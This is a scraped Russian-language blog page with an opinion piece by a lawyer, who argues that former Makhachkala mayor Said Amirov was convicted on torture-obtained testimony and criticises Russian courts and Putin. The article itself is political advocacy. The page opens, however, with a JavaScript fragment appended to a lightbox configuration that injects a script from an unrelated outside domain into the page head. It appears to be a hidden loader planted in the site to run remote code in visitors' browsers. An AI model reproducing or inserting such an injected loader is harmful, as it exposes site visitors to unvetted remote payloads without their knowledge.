, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Почему Путин оставил в беде Саида Амирова?

28 Янв

Адвокат Владимир Постанюк сообщает http://www.kavkaz-uzel.eu/articles/315483/?utm_referrer=https%3A%2F%2Fzen.yandex.com  о том, что сотрудники  колонии, где отбывает пожизненное наказание бывший мэр Махачкалы Саид Амиров, забрали у него все продукты, в том числе диетические, после отказа подписать бумаги об отсутствии претензий к условиям содержания.

Это происходит с человеком, который жителями Дагестана  переизбирался на должность главы администрации Махачкалы 16 февраля 2002 года, 13 марта 2006 года и 10 октября 2010 года.

Летом 1999 года Амиров собрал и возглавил крупный отряд ополчения в ответ на вторжение многочисленной группировки бандитов под предводительством террористов Шамиля Басаева и Хаттаба.

Он стоял у истоков создания в 2001 году регионального и махачкалинского местного отделений партии «Единая Россия», и длительное время возглавлял Махачкалинское отделение «Единой России».

По итогам VI Всероссийского Конкурса муниципальных образований признан лучшим Главой муниципального образования среди городских округов — административных центров субъектов Российской Федерации. Диплом за 1-е место был вручён 20 апреля 2013 года Министром регионального развития Российской Федерации Игорем Слюняевым.

Таким образом, почти 15 лет Саид Амиров был уважаемым чиновником, смело и решительно осуществлял руководство в регионе. И вот этого человека, игнорируя все его заслуги и достижения,  обвинили по статьям «Участие в незаконном вооруженном формировании», «Бандитизм», «Террористический акт» и «Незаконный оборот оружия».

27 августа 2015 года Северо-Кавказским окружным военным судом Саид Амиров  приговорён к пожизненному лишению свободы.

24 марта 2016 года приговор Амирову  был оставлен без изменений и вступил в законную силу. После вступления приговора в законную силу Саид Амиров  был этапирован в колонию для пожизненно заключённых «Чёрный дельфин» в Соль-Илецке.

Как практикующий 45 лет юрист могу утверждать, что ошибается не только районный или городской суд, но и Верховный Суд России. Так, более 4 лет  я  боролся с неправомерным осуждением на 15 лет лишения свободы А. Костюхина, за деяния которые он не совершал. Всё судебные инстанции Верховного Суда РФ (ВС), включая и заместителей председателя ВС, признавали неправосудные приговоры и решения нижестоящих судов, законными и обоснованными, несчитаясь с моими доводами, доказывающими обратное.

Только благодаря председателю Московского городского суда О.А. Егоровой удалось доказать неправосудность приговоров.

Если при расследовании  дела Саида Амирова имели место случаи пыток током фигурантов уголовного дела, http://versia.ru/articles/2013/nov/18/delo_saida_amirova , то почему показания таких лиц, как полученные с нарушением требований ч. 2 ст. 50 Конституции России были положены  в основу приговора?

Почему, придуманный кем-то голливудский блокбастер об использовании такого «вещдока», как ПЗРК «Стрела» и ничем не подтверждённые показания сотрудничающего со следствием «колхозника», стали основанием для осуждения героя Дагестана по событиям 1999 г. Саида Амирова?

Напомню, летом 1999-го, когда Путин становится премьер-министром, а боевики Хаттаба и Басаева пытались прорваться в Дагестан. МВД и Армия оказались какое-то время неспособными отразить прорыв Басаева. Об этом прямо свидетельствует в своих воспоминаниях участник тех событий генерал Геннадий  Трошев. Именно инвалид 1 группы Саид Амиров создал отряд местного ополчения, отправившийся на помощь федеральным силам в Ботлихский район, где шли боевые действия.

Дагестанские ополченцы выступили в поддержку Саида Амирова http://www.mk.ru/editions/daily/2013/12/19/962419-dagestanskie-opolchentsyi-vyistupili-v-podderzhku-saida-amirova.html

Почему эти обстоятельства игнорировались при доказывании виновности Саида Амирова? Как могли доверять показаниям, полученным под пытками, игнорируя доводы верой и правдой служившего Отечеству Саида Амирова?

Ответ находим в анализе правоприменительной практике. Официальная статистика удостоверяет, что за последние 15 лет количество уголовных дел, рассмотренных судами без исследования и оценки доказательств, собранных по уголовному делу год от года только увеличивалось. В 2016 году было рассмотрено судами 740 380 уголовных дел. Из них в порядке ст. 316 (в особом порядке) при согласии с обвинением было осуждено 502 666 человек.

К лишению свободы было осуждено 414 362 человека.

Фактически около 70% уголовных дел судами рассматривались без требований, предъявляемых к доказательствам и доказыванию, без оценки собранных по делу доказательств на предмет их относимости, допустимости и достоверности. Подобная тенденция наблюдается и в 2017 году.

В 2016 году было прекращено 16 269 уголовных дел в связи с отсутствием события, состава преступления и непричастностью подсудимого к совершению преступления.

Для принятия такого решения требовалось исследовать собранные по делу доказательства, исполнять все требования, предъявляемые к доказательствам и доказыванию. Но такая работа судами проводилась крайне редко. Она составляет  2,2% от рассмотренных в 2016 году судами уголовных дел. http://www.cdep.ru/index.php?id=79&item=3834

Эти данные свидетельствуют о том, что судьи всех судебных инстанций напрочь утрачивают навыки, необходимые для исполнения процедур, связанных с доказательствами и доказыванием.  Отсюда и непонимание про обстоятельства, подлежащие доказыванию,  про недопустимые доказательства, игнорирование того, что ч. 2 ст. 77 УПК РФ устанавливает, что признание обвиняемым своей вины в совершении преступления может быть положено в основу обвинения лишь при подтверждении его виновности совокупностью имеющихся по уголовному делу доказательств.

Такое судопроизводство лишило судей навыков в собирании, проверке и оценке доказательств. О каком правосудии в России можно говорить при таких обстоятельствах?

Как может Путин, формирующий 18 лет состав исполнителей судебной власти,  этого не понимать?

Да, Путиным были уволены генералы разных правоохранительных структур, некоторые из которых имели отношение к следствию по делу Саид Амирова http://www.forum-dag.ru/content/putin-uvolil-generalov-sazhavshih-saida-amirova-kak-eto-skazhetsya-na-sudbe-samogo-amirova , но это никак не отразилось на судьбе Амирова.

О пыточном судопроизводстве по делу Саида Амирова В. Путину рассказал http://echo.msk.ru/programs/beseda/1653664-echo/    правозащитник Андрей Бабушкин. Вопрос публично затрагивался на заседании Совета по правам человека. Однако, общественность так и не узнала, какие он принял меры для противодействия такому явлению в стране?

О том, что пыточное судопроизводство только в нашей стране получило самые изощрённые формы, и как развивается сейчас https://sobchakprotivvseh.ru/blog/41 , известно всему миру.

Давайте вспомним, как получали признательные показания по надуманным обвинениям  от создателя Космической отрасли  С.П. Королёва.

Изверг-следователь говорил: «У тебя красивая молодая жена, Так вот, мы одну буквочку опустим, и она будет не Королёва, а Королёв, и мы бросим её к зэкам на неделю. Дочка у тебя, ей 3 годика — тоже найдём куда её деть». После этого С.П. Королёв сказал: «И я подписал протокол…» (АиФ № 1−2, 2017 г. с. 10−11 воспоминания космонавта А. Леонова о С.П. Королёве).

Разумеется, в нынешних сложных условиях дело Амирова — не приоритет для центральной власти. Но предстоящие выборы гаранта Конституции не могут не заставить задуматься о нём, имеющих  право голоса россиян.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.